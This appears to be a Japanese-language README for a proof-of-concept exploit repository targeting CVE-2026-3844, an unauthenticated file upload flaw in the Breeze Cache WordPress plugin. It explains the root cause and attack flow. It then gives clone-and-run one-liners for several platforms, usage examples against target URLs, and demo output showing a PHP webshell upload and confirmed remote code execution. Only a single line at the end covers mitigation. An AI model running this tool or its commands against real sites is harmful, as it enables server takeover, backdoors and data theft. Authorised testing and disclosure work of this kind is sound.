CVE-2026-3844

CVE-2026-3844 の PoC エクスプロイト。WordPress の Breeze プラグインにおける、RCE につながる重大な未認証ファイルアップロード脆弱性です。

---

📌 概要

CVE-2026-3844 は、Breeze Cache WordPress プラグイン（Cloudways 製）における**重大（CRITICAL）**な未認証の任意ファイルアップロード脆弱性であり、バージョン 2.4.4 までの全バージョンに影響します。

このリポジトリは、許可されたセキュリティ調査、ペネトレーションテスト、および責任ある開示のための概念実証（PoC）エクスプロイト（CVE-2026-3844.py）を提供します。

---

ワンライナー

git clone https://github.com/tausifzaman/CVE-2026-3844.git && cd CVE-2026-3844 && python3

---

📊 脆弱性サマリー

項目	詳細
CVE ID	CVE-2026-3844
プラグイン	Breeze Cache (by Cloudways)
影響を受けるバージョン	2.4.4 以下の全バージョン
修正済みバージョン	Breeze 2.4.5 以降
脆弱性の種類	CWE-434 — 危険なタイプのファイルの無制限アップロード
CVSS v3.1 スコア	9.8（CRITICAL）
CVSS v2.0 スコア	10.0（CRITICAL）
CVSS ベクター	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
攻撃ベクター	ネットワーク（リモート）
認証要件	❌ なし — 未認証
条件	「Host Files Locally – Gravatars」が有効である必要があります（デフォルトでは無効）
影響	機密性: 高 · 完全性: 高 · 可用性: 高
公開日	2026-04-23
情報源	Wordfence / NVD / MITRE
PoC	Tausif Zaman

---

🔍 脆弱性の詳細

根本原因

WordPress 用の Breeze Cache プラグインは、「Host Files Locally – Gravatars」 機能が有効な場合、リモートの Gravatar 画像を取得してローカルに保存します。脆弱な関数 fetch_gravatar_from_remote（class-breeze-cache-cronjobs.php の 89〜119 行目）は、取得したリモートコンテンツに対してファイルタイプや拡張子の検証を一切行いません。

class-breeze-cache-cronjobs.php
  └── fetch_gravatar_from_remote()   ← ❌ No file type validation
        └── Saves remote content directly to disk
              └── Attacker controls → uploads .php webshell → RCE

攻撃の流れ

Attacker (Unauthenticated)
    │
    ▼
Craft malicious HTTP request with PHP webshell URL as Gravatar
    │
    ▼
Plugin fetches & saves the .php file without validation
    │
    ▼
Webshell stored on server (e.g., /wp-content/breeze-cache/evil.php)
    │
    ▼
Attacker accesses webshell → Full RCE achieved

影響

悪用に成功した場合、攻撃者は以下が可能になります：

• 🔴 任意の OS コマンドを実行（RCE）
• 🔴 持続的なバックドア / ウェブシェルをアップロード
• 🔴 不正な WordPress 管理者アカウントを作成
• 🔴 データベース、認証情報、機密ファイルを窃取
• 🔴 ウェブサイトを改ざんまたは全コンテンツを削除
• 🔴 サーバーを踏み台にして同じネットワーク上の他のシステムへ侵入
• 🔴 サーバーをボットネットに組み込む

---

⚙️ 要件

• Python 3.6+
• requests ライブラリ
• ターゲットサイトが Breeze Cache ≤ 2.4.4 かつ 「Host Files Locally – Gravatars」が有効であること

---

🚀 インストールとセットアップ

🐧 Linux / Termux (Android)

# Clone the repository
git clone https://github.com/tausifzaman/CVE-2026-3844.git && cd CVE-2026-3844 && python3 CVE-2026-3844.py

# Navigate into the directory
cd CVE-2026-3844

# Install dependencies
pip install -r requirements.txt

# Run the exploit
python3 CVE-2026-3844.py

🪟 Windows (CMD / PowerShell)

git clone https://github.com/tausifzaman/CVE-2026-3844.git
cd CVE-2026-3844
pip install -r requirements.txt
python CVE-2026-3844.py

🍎 macOS

git clone https://github.com/tausifzaman/CVE-2026-3844.git
cd CVE-2026-3844
pip3 install -r requirements.txt
python3 CVE-2026-3844.py

🤖 Termux（ワンライナー）

pkg install python git -y && git clone https://github.com/tausifzaman/CVE-2026-3844.git && cd CVE-2026-3844 && pip install -r requirements.txt && python3 CVE-2026-3844.py

☁️ Google Cloud Shell（セットアップ不要）

git clone https://github.com/tausifzaman/CVE-2026-3844.git && cd CVE-2026-3844 && pip install -r requirements.txt && python3 CVE-2026-3844.py

---

💻 使用方法

python3 CVE-2026-3844.py

オプション

usage: CVE-2026-3844.py [-h] -u URL [-t TIMEOUT] [-o OUTPUT] [-v]

CVE-2026-3844 — Breeze Cache WordPress Plugin Arbitrary File Upload PoC

optional arguments:
  -h, --help              Show this help message and exit
  -u URL, --url URL       Target URL (e.g. https://target.com)
  -t TIMEOUT              Request timeout in seconds (default: 10)
  -o OUTPUT               Save webshell path to output file
  -v, --verbose           Enable verbose/debug output

使用例

# Basic usage
python3 CVE-2026-3844.py -u https://vulnerable-site.com

# Verbose mode
python3 CVE-2026-3844.py -u https://vulnerable-site.com -v

# Custom timeout
python3 CVE-2026-3844.py -u https://vulnerable-site.com -t 20 -v

---

🖥️ PoC デモ出力

╔══════════════════════════════════════════════════════╗
║          CVE-2026-3844 | Breeze Cache WP RCE        ║
║          Researcher: tausifzaman.online              ║
╚══════════════════════════════════════════════════════╝

[*] Target     : https://vulnerable-site.com
[*] CVE        : CVE-2026-3844
[*] Plugin     : Breeze Cache ≤ 2.4.4
[*] Type       : Unauthenticated Arbitrary File Upload → RCE
[*] Checking target...

[+] Breeze Cache plugin detected!
[+] "Host Files Locally – Gravatars" is ENABLED
[*] Uploading PHP webshell via fetch_gravatar_from_remote...
[+] File uploaded successfully!
[+] Webshell path: /wp-content/breeze-cache/avatar_a1b2c3.php
[*] Verifying RCE...
[+] RCE CONFIRMED!

[+] Command output (id):
    uid=33(www-data) gid=33(www-data) groups=33(www-data)

[+] Full server compromise achieved.
[*] Cleanup: Remove /wp-content/breeze-cache/avatar_a1b2c3.php after testing.

---

🔒 緩和策と是正措置

✅ 即時対応

Breeze Cache をバージョン 2.4.5 以降に更新してください — これが唯一の完全な修正です。